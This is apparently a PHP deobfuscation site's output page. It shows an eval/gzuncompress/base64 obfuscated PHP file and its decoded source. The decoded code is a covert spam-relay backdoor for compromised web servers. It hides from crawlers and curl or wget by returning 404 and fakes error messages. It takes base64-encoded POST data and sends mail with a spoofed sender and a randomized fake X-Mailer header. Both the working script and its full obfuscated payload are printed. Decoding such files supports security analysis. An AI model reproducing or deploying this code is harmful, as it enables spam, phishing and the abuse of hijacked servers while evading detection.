Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $s = eval(gzuncompress(base64_decode("eJylWH1TGzcT/78z/Q4qZWozjQ3mJU2gaQZsA04wOLYJae..

Decoded Output download





function mailto($to, $subject, $message, $from, $fromAddr) {

$mailer = 'Ximian Evolution 2.3.1 (2.0.1-6)###The Bat! (v2.00.9) Personal###Apple Mail (2.552)###Ximian Evolution 1.0.3 (1.0.3-6)###Ximian Evolution 2.0.1 (2.0.1-6)###The Bat! (v2.00.3) Personal###Mailman v2.0.8###The Bat! (v2.00.9) Personal###Microsoft Outlook Express 6.00.2800.1158###MIME-tools 5.41 (Entity 5.404)###Microsoft Outlook Express 6.00.2800.1158###Pegasus Mail for Win32 (v3.12c)###Microsoft Outlook Express 6.00.2900.2180###Mutt 1.0.1i###Microsoft Office Outlook, Build 11.0.5510###Microsoft Outlook Express 6.00.2800.1158###Sylpheed version 0.7.6 (GTK+ 1.2.10; i686-pc-tommie-gnu)###Microsoft Outlook Express 6.00.2900.2180###Evolution/1.0-5mdk###IPB PHP Mailer###Microsoft Outlook Express 6.00.2800.1158###Microsoft Office Outlook, Build 11.0.5510###IPB PHP Mailer###acme Mail###Apple Mail###Balsa###Becky!###Bloomba###Citadel###Claris Emailer###Claws Mail###Courier###EmailTray###Eudora###Forte Agent###Foxmail###Geary###GNUMail###KMail###IBM Notes & Domino###Mail###Mailbird###Microsoft Office Outlook###Modest###Mozilla Thunderbird###Mulberry###Novell Evolution###Novell GroupWise###Opera Mail###Pegasus Mail###i.Scribe/InScribe###SeaMonkey Mail & Newsgroups###Sylpheed###Sparrow###Spicebird###The Bat!###TouchMail###Windows Live Mail###YAM###Alpine###Elm###Gnus###mailx###MH###MUSH###Mutt###Pine###sendEmail###Turnpike###Upas###24SevenOffice###Alpine###Bongo###Citadel###Horde IMP###Hula project###Kerio WebMail###Mailpile###OpenGroupware Webmail###RoundCube Webmail###SquirrelMail###WebPine###Touchmail###Zimbra';
$xmailer = explode('###',  $mailer);
$gmailer = $xmailer[array_rand($xmailer)] ;

$mb_internal_encoding = mb_internal_encoding();
mb_internal_encoding('UTF-8');
$headers = "Date: ".date("r")."
";
//$headers.= "Return-Path: <".$fromAddr.">
";
$headers.= "From: =?UTF-8?B?".base64_encode($from)."?= <".$fromAddr.">
";
$headers.= "Reply-To:  =?UTF-8?B?".base64_encode($from)."?= <".$fromAddr.">
";

$headers.= "X-Mailer: " . $gmailer . "
";

$headers.= "MIME-Version: 1.0
";
$headers.= "Content-Type: text/plain; charset=UTF-8
";
$headers.= "Content-Transfer-Encoding: 8bit
";



$subject = "=?UTF-8?B?".base64_encode($subject)."?=";


if (strpos($message, '<html')) {
$msgType = "text/html";
} else $msgType = "text/plain";
$body = $message;
mb_internal_encoding($mb_internal_encoding);
return mail($to, $subject, $body, $headers);
}





function isBotDetected() {

    if ( preg_match('/abacho|accona|AddThis|AdsBot|ahoy|AhrefsBot|AISearchBot|alexa|altavista|anthill|appie|applebot|arale|araneo|AraybOt|ariadne|arks|aspseek|ATN_Worldwide|Atomz|baiduspider|baidu|bbot|bingbot|bing|Bjaaland|BlackWidow|BotLink|bot|boxseabot|bspider|calif|CCBot|ChinaClaw|christcrawler|CMC\/0\.01|combine|confuzzledbot|contaxe|CoolBot|cosmos|crawler|crawlpaper|crawl|curl|cusco|cyberspyder|cydralspider|dataprovider|digger|DIIbot|DotBot|downloadexpress|DragonBot|DuckDuckBot|dwcp|EasouSpider|ebiness|ecollector|elfinbot|esculapio|ESI|esther|eStyle|Ezooms|facebookexternalhit|facebook|facebot|fastcrawler|FatBot|FDSE|FELIX IDE|fetch|fido|find|Firefly|fouineur|Freecrawl|froogle|gammaSpider|gazz|gcreep|geona|Getterrobo-Plus|get|girafabot|golem|googlebot|\-google|grabber|GrabNet|griffon|Gromit|gulliver|gulper|hambot|havIndex|hotwired|htdig|HTTrack|ia_archiver|iajabot|IDBot|Informant|InfoSeek|InfoSpiders|INGRID\/0\.1|inktomi|inspectorwww|Internet Cruiser Robot|irobot|Iron33|JBot|jcrawler|Jeeves|jobo|KDD\-Explorer|KIT\-Fireball|ko_yappo_robot|label\-grabber|larbin|legs|libwww-perl|linkedin|Linkidator|linkwalker|Lockon|logo_gif_crawler|Lycos|m2e|majesticsEO|marvin|mattie|mediafox|mediapartners|MerzScope|MindCrawler|MJ12bot|mod_pagespeed|moget|Motor|msnbot|muncher|muninn|MuscatFerret|MwdSearch|NationalDirectory|naverbot|NEC\-MeshExplorer|NetcraftSurveyAgent|NetScoop|NetSeer|newscan\-online|nil|none|Nutch|ObjectsSearch|Occam|openstat.ru\/Bot|packrat|pageboy|ParaSite|patric|pegasus|perlcrawler|phpdig|piltdownman|Pimptrain|pingdom|pinterest|pjspider|PlumtreeWebAccessor|PortalBSpider|psbot|rambler|Raven|RHCS|RixBot|roadrunner|Robbie|robi|RoboCrawl|robofox|Scooter|Scrubby|Search\-AU|searchprocess|search|SemrushBot|Senrigan|seznambot|Shagseeker|sharp\-info\-agent|sift|SimBot|Site Valet|SiteSucker|skymob|SLCrawler\/2\.0|slurp|snooper|solbot|speedy|spider_monkey|SpiderBot\/1\.0|spiderline|spider|suke|tach_bw|TechBOT|TechnoratiSnoop|templeton|teoma|titin|topiclink|twitterbot|twitter|UdmSearch|Ukonline|UnwindFetchor|URL_Spider_SQL|urlck|urlresolver|Valkyrie libwww\-perl|verticrawl|Victoria|void\-bot|Voyager|VWbot_K|wapspider|WebBandit\/1\.0|webcatcher|WebCopier|WebFindBot|WebLeacher|WebMechanic|WebMoose|webquest|webreaper|webspider|webs|WebWalker|WebZip|wget|whowhere|winona|wlm|WOLP|woriobot|WWWC|XGET|xing|yahoo|YandexBot|YandexMobileBot|yandex|yeti|Zeus/i', $_SERVER['HTTP_USER_AGENT'])
    ) {
        return true; // 'Above given bots detected'
    }

    return false;

} // End :: isBotDetected()

if(isBotDetected()){
header($_SERVER['SERVER_PROTOCOL']." 404 Not Found");
}
else
{
$method = $_SERVER['REQUEST_METHOD'];

switch ($method) {
  case 'GET':
    //Here Handle GET Request
    echo '###ERROR 404';
exit;
    break;
  case 'POST':
    //Here Handle POST Request


foreach($_POST as $key => $x_value) {

//    $custom = 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/';
  //  $default = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
  //  $data = base64_decode(strtr($x_value, $custom, $default));


$data = base64_decode($x_value) ;
$to_data = explode('|',  $data);

$to = $to_data[0];
$x_subject = $to_data[1];
$x_body = $to_data[2];
$from_user = $to_data[3];
$from_email = $to_data[4];



$jfnbrsjfq =  mailto($to, $x_subject, $x_body, $from_user, $from_email);
if($jfnbrsjfq){echo 'error 403';} else {echo 'error 404 : ' . $jfnbrsjfq;} 

}





    break;
 
}




}







Did this file decode correctly?

Original Code

<?php $s = eval(gzuncompress(base64_decode("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")));

Function Calls

gzuncompress 1
base64_decode 1

Variables

$s None

Stats

MD5 0efdf6346a0be62011b956d3c6e3326c
Eval Count 1
Decode Time 188 ms